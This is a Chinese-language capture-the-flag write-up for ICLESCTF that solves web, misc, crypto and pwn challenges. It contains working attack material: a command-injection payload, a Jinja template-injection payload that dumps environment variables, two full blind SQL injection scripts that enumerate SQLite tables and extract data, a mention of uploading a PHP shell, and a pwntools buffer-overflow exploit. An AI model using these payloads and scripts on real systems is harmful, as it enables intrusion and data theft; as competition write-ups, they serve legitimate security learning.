ICLESCTF-Writeup
本文是ICLESCTF题解
web
ping_server
题目是常见的命令执行绕过,感觉waf应该是把常见的命令分隔符替换为空:
所以这里直接用一下payload即可:
$(env)
template_injection
题目考点是ssti,经过题目的提示,猜测传入的参数是name。

成功测试出为ssti,经过fuzz,发现主要是过滤了“()”这个导致没法正常使用ssti的payload,只能尝试其他的,经过提示,我们可以使用lipsum直接去读环境变量。
payload:
{{ lipsum.__globals__.os.environ }}
ezsql
这题考手注sql,然后由于数据库是sqltile,注入的时候只需要注意到这一点。我这里附上脚本
import requests
import string
url = 'http://ctf.2v8.cn:20730/'
debug = False # 开启调试模式显示请求详情
def check_condition(payload):
data = {'username': payload, 'password': ''}
try:
response = requests.post(url, data=data, timeout=5)
if debug:
print(f"Payload: {payload}")
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:150]}...")
return 'Welcome admin!' in response.text
except Exception as e:
print(f"Error: {e}")
return False
# ==================== 爆破表名 ====================
def get_table_count():
print("\n[+] 爆破表数量...")
for count in range(1, 10):
payload = f"'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%')={count}/**/--+"
if check_condition(payload):
print(f"发现 {count} 个用户表")
return count
return 0
def extract_table_name(offset=0):
print(f"\n[+] 爆破第 {offset + 1} 个表名...")
# 确定表名长度
for length in range(1, 50):
payload = f"'/**/OR/**/(SELECT/**/LENGTH(name)/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/{offset})={length}/**/--+"
if check_condition(payload):
print(f"表名长度: {length}")
break
else:
print("无法确定表名长度")
return None
# 逐字符爆破
table_name = []
printable = string.ascii_lowercase + string.digits + '_'
for pos in range(1, length + 1):
char_found = False
for char in printable:
payload = f"'/**/OR/**/(LOWER(SUBSTR((SELECT/**/name/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/AND/**/name/**/NOT/**/LIKE/**/'sqlite_%'/**/LIMIT/**/1/**/OFFSET/**/{offset}),{pos},1)))=/**/'{char}'/**/--+"
if check_condition(payload):
table_name.append(char)
char_found = True
print(f"位置 {pos}: {char}")
break
if not char_found:
table_name.append('?')
print(f"位置 {pos}: 未知字符")
return ''.join(table_name).capitalize()
# ==================== 爆破列名 ====================
def extract_columns(table_name):
print(f"\n[+] 爆破表 {table_name} 的列名...")
# 获取建表语句长度
for length in range(10, 2000):
payload = f"'/**/OR/**/(SELECT/**/LENGTH(sql)/**/FROM/**/sqlite_master/**/WHERE/**/name='{table_name.lower()}')={length}/**/--+"
if check_condition(payload):
print(f"建表语句长度: {length}")
break
# 爆破建表语句
create_sql = []
for pos in range(1, length + 1):
low, high = 32, 126
char = None
while low <= high:
mid = (low + high) // 2
payload = f"'/**/OR/**/(ASCII(SUBSTR((SELECT/**/sql/**/FROM/**/sqlite_master/**/WHERE/**/name='{table_name.lower()}'),{pos},1)))/**/>=/**/{mid}/**/--+"
if check_condition(payload):
char = mid
low = mid + 1
else:
high = mid - 1
if char:
create_sql.append(chr(char))
print(f"进度: {pos}/{length} - {chr(char)}", end='\r')
create_statement = ''.join(create_sql)
# 从建表语句中提取列名
columns = []
if '(' in create_statement:
cols_part = create_statement.split('(')[1].split(')')[0]
for col_def in cols_part.split(','):
col_name = col_def.strip().split()[0].strip('"[]\'')
columns.append(col_name)
return columns
# ==================== 主程序 ====================
if __name__ == "__main__":
table_count = get_table_count()
if table_count == 0:
print("[-] 未找到用户表")
exit()
for i in range(table_count):
table_name = extract_table_name(offset=i)
if table_name:
print(f"\n[+] 发现表: {table_name}")
columns = extract_columns(table_name)
print(f"\n[+] 列名列表: {columns}")
上述代码,能够发现表名
发现Secrets表
然后爆flag:
import requests
import string
url = 'http://ctf.2v8.cn:20891/'
current_table = 'Secrets'
timeout = 8 # 增加超时时间
def check_condition(payload):
data = {'username': payload, 'password': ''}
try:
response = requests.post(url, data=data, timeout=timeout)
return 'Welcome admin!' in response.text
except Exception as e:
print(f"请求失败: {e}")
return False
def extract_secrets():
# 直接爆破flag字段(常见CTF字段名)
print("\n[+] 爆破flag字段内容...")
# 爆破flag长度
for length in range(10, 50):
payload = f"'/**/OR/**/(SELECT/**/LENGTH(flag)/**/FROM/**/{current_table}/**/LIMIT/**/1)=/**/{length}/**/--"
if check_condition(payload):
print(f"Flag长度: {length}")
break
# 精确爆破flag内容
flag = []
for pos in range(1, length + 1):
# 优先检查flag格式字符
if pos == 1:
candidates = ['f', 'F']
elif pos == 2:
candidates = ['l', 'L']
elif pos == 3:
candidates = ['a', 'A']
elif pos == 4:
candidates = ['g', 'G']
elif pos == 5:
candidates = ['{']
else:
candidates = string.printable
for char in candidates:
payload = f"'/**/OR/**/(SUBSTR((SELECT/**/flag/**/FROM/**/{current_table}/**/LIMIT/**/1),{pos},1)/**/=/**/'{char}')/**/--"
if check_condition(payload):
flag.append(char)
print(f"位置 {pos}: {char}")
break
else:
flag.append('?')
print(f"位置 {pos}: 未识别字符")
return ''.join(flag)
if __name__ == "__main__":
print(f"[*] 开始爆破 {current_table} 表数据")
# 验证flag字段存在性
if check_condition(
f"'/**/OR/**/(SELECT/**/flag/**/FROM/**/{current_table}/**/LIMIT/**/1)/**/IS/**/NOT/**/NULL/**/--"):
print("[+] 检测到flag字段存在")
result = extract_secrets()
print("\n爆破结果:")
print(f"Flag: {result}")
else:
print("[-] 未找到flag字段,尝试其他常见字段...")

upload-difficult
访问题目,得到代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
require_once('classes.php');
if (isset($_FILES['file'])) {
$upload_dir = '/var/www/html/uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir);
}
$target_file = $upload_dir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
echo "File uploaded successfully!<br>";
try {
$phar = new Phar($target_file);
$metadata = $phar->getMetadata();
echo "File metadata analyzed.<br>";
} catch (Exception $e) {
echo "Error reading file metadata";
}
} else {
echo "File upload failed";
}
}这里分析我们就可以看见,题目并未对上传文件的类型进行常见的waf过滤。估计出题人想考phar文件上传,但是并没处理好逻辑,导致的非预期。所以这里直接传php拿shell即可。

MISC
Interesting_web
访问地址以后,直接看源码:

经过测试,在cc.gif中,分帧查看图片,发现flag

flag{add_black_1onion}Hidden_Evidence
访问题目地址
将红框的这个图片进行保存。再用txt打开:

base64解码,套上flag{}即可

flag{secret_secret}网络迷踪
常见的图寻题,直接用google搜图即可:
根据这篇文章:https://toxaby.livejournal.com/596278.html

和图片大概位置差不多,然后根据文章内容。![]()
直接搜这个地址:
得到具体地址。只是flag需要在珠江西路前面加一个珠江新城
flag{广东省-广州市-天河区-珠江新城珠江西路-5号}Crypto
xor_index_cipher
分析代码
from flask import Flask, render_template_string
import os
app = Flask(__name__)
def encrypt(plaintext: str, key: str) -> str:
ciphertext = []
for i, char in enumerate(plaintext):
p = ord(char)
k = ord(key[i % len(key)])
# XOR 后加上索引,取模 256
c = ((p ^ k) + i) % 256
ciphertext.append(c)
return ''.join("{:02x}".format(x) for x in ciphertext)
@app.route("/")
def index():
# FLAG 通过环境变量注入,默认为 CTF{dummy_flag}
flag = os.getenv("FLAG", "ICLESCTF{my_flag}")
key = "s3cr3t"
ciphertext = encrypt(flag, key)
html = f"""
<html>
<head>
<meta charset="UTF-8">
<title>Crypto Challenge: XOR Shift Cipher</title>
</head>
<body>
<h1>Crypto Challenge: XOR Shift Cipher</h1>
<p><strong>Encrypted flag:</strong> {ciphertext}</p>
<p><strong>Encryption Key:</strong> {key}</p>
<p><strong>Algorithm Description:</strong>
请逆向此算法,恢复原始 flag!
</p>
</body>
</html>
"""
return html
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)分析代码,我们能知道解迷还原的过程:
将每两个字符转换为一个字节的数值。
对每个字节,根据其索引i,计算temp = (c -i) mod256。
取出对应的密钥字符的ASCII码k。
将temp与k异或,得到明文字符的ASCII码。
将ASCII码转为字符,拼接得到明文。写出解密代码:
ciphertext_hex = "156004184c494909591f1552522b101f1121701a6425177063236b613a612e2a7262256839257a683232"
bytes_list = bytes.fromhex(ciphertext_hex)
key = "s3cr3t"
key_ascii = [ord(c) for c in key]
plaintext = []
for i in range(len(bytes_list)):
c = bytes_list[i]
step1 = (c - i) % 256
k = key_ascii[i % len(key_ascii)]
p = step1 ^ k
plaintext.append(p)
flag = bytes(plaintext).decode('utf-8')
print(flag)
RSA
分析代码:
from flask import Flask, jsonify
from Crypto.Util.number import getPrime, bytes_to_long, inverse, isPrime
import os
app = Flask(__name__)
FLAG = os.environ.get('FLAG', 'flag{get_flag_here}')
def next_prime(n):
n += 1 + (n % 2) # 保证奇数
while not isPrime(n):
n += 2
return n
# 初始化时生成脆弱密钥对
bits = 512
p = getPrime(bits)
q = next_prime(p)
n = p * q
e = 0x10001
c = pow(bytes_to_long(FLAG.encode()), e, n)
@app.route('/')
def get_data():
return jsonify({
'n': hex(n)[2:],
'e': hex(e)[2:],
'ciphertext': hex(c)[2:]
})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)分解模数n:使用费马分解法找到p和q,确保q是p的下一个质数。
计算私钥:通过φ(n) = (p-1)(q-1)和模反元素计算私钥d。
解密密文:使用私钥d对密文c进行解密,将结果转换为字符串得到FLAG。给出解密代码:
from Crypto.Util.number import isPrime, inverse, long_to_bytes
import math
n_hex = "53cf2a1c0597fca5e2c918553a71aead313ed27190bcc0e9589ee077218ac88c2f402b0bc5e9e0f4c313404428c08ff79541dbc5f517c9761b37b0c6eb4710773742b8ce16b62de8e57d987f64397a142c1567b384eeccd1ce987d8c733c15bc6a440cb24636029f6f93f8ede92b1847ab8af1e948b6c2b5380fb95b9d8620fd"
e_hex = "10001"
c_hex = "1ad11c848296ae07abe25a5188739e5fc478797d4ab8c9b03366ae911b92cf4ea1db6c31a12d7cd34f82d33748b3d28e2462843ff4c7d718a19363d3b2c01e947b07e0daba1b2d64d02131a592f447070a510b81c3e1805c36b7b103cedd14fc9f9a9952aa1c2fd7a9e41bd196ceff9ced69f38533d631529e866f2183783f51"
n = int(n_hex, 16)
e = int(e_hex, 16)
c = int(c_hex, 16)
def next_prime(n):
n += 1 + (n % 2) # 确保下一步是奇数
while not isPrime(n):
n += 2
return n
sqrt_n = math.isqrt(n)
# 从sqrt_n开始寻找p,确保初始为奇数
p = sqrt_n if sqrt_n % 2 != 0 else sqrt_n - 1
found = False
while p > 2:
if n % p == 0:
q = n // p
if isPrime(p) and isPrime(q):
if next_prime(p) == q:
found = True
break
p -= 2
if not found:
# 如果未找到,尝试向上搜索
p = sqrt_n if sqrt_n % 2 != 0 else sqrt_n + 1
while True:
if n % p == 0:
q = n // p
if isPrime(p) and isPrime(q):
if next_prime(p) == q:
found = True
break
p += 2
if p > sqrt_n * 2: # 防止无限循环
break
if found:
print(f"Found p = {p}\nq = {q}")
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print("Flag:", flag)
else:
print("Failed to factorize n")

成功得到flag
破解数据流
import random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
import os
import socket
import threading
FLAG = os.getenv('FLAG', 'flag{redacted}')
class LCGStreamCipher:
def __init__(self, m=None, a=None, c=None, s=None):
if m is None:
self.m = getPrime(32)
self.a = random.randint(1, self.m-1)
self.c = random.randint(0, self.m-1)
self.initial_s = random.randint(0, self.m-1)
else:
self.m = m
self.a = a
self.c = c
self.initial_s = s
self.reset()
def reset(self):
self.s = self.initial_s
def next_key_bytes(self):
key = long_to_bytes(self.s, 4)
self.s = (self.a * self.s + self.c) % self.m
return key
def encrypt(self, plaintext):
ciphertext = b""
self.reset()
for i in range(0, len(plaintext), 4):
chunk = plaintext[i:i+4].ljust(4, b'\x00')[:4]
key = self.next_key_bytes()
encrypted_chunk = bytes([c ^ k for c, k in zip(chunk, key)])
ciphertext += encrypted_chunk
return ciphertext
# 预生成参数并加密flag
cipher = LCGStreamCipher()
flag_enc = cipher.encrypt(FLAG.encode())
def handle_client(conn):
cipher_local = LCGStreamCipher(cipher.m, cipher.a, cipher.c, cipher.initial_s)
conn.sendall(b"Welcome to the LCG Stream Cipher encryption service!\n")
conn.sendall(f"Flag ciphertext (hex): {flag_enc.hex()}\n".encode())
while True:
conn.sendall(b"Enter plaintext (hex): ")
try:
data = conn.recv(1024).strip()
if not data:
break
plaintext = bytes.fromhex(data.decode())
ciphertext = cipher_local.encrypt(plaintext)
conn.sendall(f"Ciphertext (hex): {ciphertext.hex()}\n".encode())
except:
conn.sendall(b"Invalid input\n")
break
conn.close()
def main():
host = '0.0.0.0'
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
print(f"Listening on {host}:{port}")
while True:
conn, addr = s.accept()
threading.Thread(target=handle_client, args=(conn,)).start()
if __name__ == "__main__":
main()
分析代码,得出解密步骤
1.获取FLAG密文和密钥流:连接到服务,获取FLAG的密文(十六进制)。发送全零的明文(如00000000多次),获取对应的密文,即密钥流的十六进制表示
2.提取LCG状态值(s0, s1, s2, s3)将密钥流密文按4字节分块,转换为大端整数,得到连续的s0, s1, s2, s3等值。
3.计算模数m,利用相邻状态值构造方程
4.求解乘数a和增量c
5.生成密钥流并解密FLAG使用恢复的m, a, c, s0初始化LCG,生成与FLAG密文等长的密钥流。将密文与密钥流逐字节异或,得到原始FLAG。给出解密代码:
import math
import socket
from Crypto.Util.number import isPrime
def bytes_to_int(b):
return int.from_bytes(b, byteorder='big')
def extract_s_values(ciphertext_hex):
ciphertext = bytes.fromhex(ciphertext_hex)
s_values = []
for i in range(0, len(ciphertext), 4):
chunk = ciphertext[i:i+4]
if len(chunk) < 4:
chunk = chunk.ljust(4, b'\x00')
s = bytes_to_int(chunk)
s_values.append(s)
return s_values
def compute_m(s):
t0 = (s[3] - s[2]) * (s[1] - s[0]) - (s[2] - s[1])**2
t1 = (s[4] - s[3]) * (s[2] - s[1]) - (s[3] - s[2])**2
m_candidate = math.gcd(t0, t1)
# 寻找m的质数因子
for d in range(m_candidate, 1, -1):
if m_candidate % d == 0 and isPrime(d) and (1 << 31) <= d < (1 << 32):
return d
return None
def get_params(s):
m = compute_m(s)
if m is None:
return None, None, None
delta1 = s[1] - s[0]
delta2 = s[2] - s[1]
try:
a = (delta2 * pow(delta1, -1, m)) % m
except ValueError:
return None, None, None
c = (s[1] - a * s[0]) % m
return m, a, c
def decrypt_flag(flag_enc_hex, m, a, c, s0):
flag_enc = bytes.fromhex(flag_enc_hex)
key_stream = b''
s = s0
for _ in range(len(flag_enc) // 4 + 1):
key_stream += s.to_bytes(4, 'big')
s = (a * s + c) % m
plain = bytes([fc ^ kc for fc, kc in zip(flag_enc, key_stream)])
return plain.decode().strip('\x00')
# 示例使用
host = 'ctf.2v8.cn'
port = 20285 # 修改为题目指定端口
# 步骤1:获取FLAG密文和密钥流
with socket.socket() as s:
s.connect((host, port))
data = s.recv(1024).decode()
flag_hex = data.split("Flag ciphertext (hex): ")[1].split('\n')[0]
# 发送全0明文获取密钥流
zero_plain = bytes.fromhex('00' * 20).hex() # 发送20字节全0(5个块)
s.sendall(zero_plain.encode() + b'\n')
ciphertext_hex = s.recv(1024).decode().split("Ciphertext (hex): ")[1].split('\n')[0]
# 步骤2-4:提取s值并计算参数
s_values = extract_s_values(ciphertext_hex)
m, a, c = get_params(s_values)
if m and a and c:
s0 = s_values[0]
flag = decrypt_flag(flag_hex, m, a, c, s0)
print("Decrypted FLAG:", flag)
else:
print("Failed to recover parameters.")

得到解密之后的flag。
PWN
easy_pwn_2
直接用txt打开即可:

得到flag
ICLESCTF{flag_made_by_zhidunwangange_2025_3_1}calculator
分析附件

看main函数里存在calculate(&argc);
再看calculate函数
int calculate()
{
char s[68]; // [esp+0h] [ebp-48h] BYREF
printf("Enter expression (e.g., 2+3): ");
gets(s);
return puts("Result: ...");
}分析可以发现,这里对s并没有长度限制,会造成严重溢出。
又发现一个直接读flag的函数
那我们就是要溢出出来覆盖成这个函数的地址。
exp
from pwn import *
# 配置环境
context(arch='i386', os='linux')
context.log_level = 'debug'
# 连接目标
p = remote('ctf.2v8.cn', 20178)
offset = 76
ret_addr = 0x080491C6 # secret_backdoor函数地址
# 构造Payload
payload = flat(
b'A' * offset,
p32(ret_addr)
)
# 发送并获取flag
p.sendline(payload)
p.recv()
得到flag!